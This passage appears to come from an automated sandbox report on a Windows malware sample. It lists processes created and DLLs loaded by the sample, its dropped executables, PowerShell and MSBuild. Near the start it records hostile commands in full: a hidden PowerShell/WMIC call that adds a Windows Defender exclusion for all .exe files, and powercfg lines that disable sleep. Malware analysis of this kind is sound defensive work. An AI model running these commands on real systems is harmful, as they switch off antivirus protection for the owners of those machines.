Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: unknown unknown
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: unknown unknown
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: acgenral.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msacm32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
